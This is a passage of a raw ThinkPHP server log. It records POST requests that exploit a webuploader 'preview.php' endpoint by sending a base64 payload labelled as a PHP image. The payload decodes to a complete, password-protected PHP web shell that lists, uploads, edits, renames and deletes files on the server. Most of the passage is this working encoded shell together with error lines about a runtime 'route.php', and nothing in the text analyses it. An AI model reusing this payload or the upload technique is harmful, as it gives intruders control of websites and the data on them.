HkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'static' => 'hui', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:05+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/admin/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002804s] [吞吐率:356.63req/s] [内存消耗:196.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6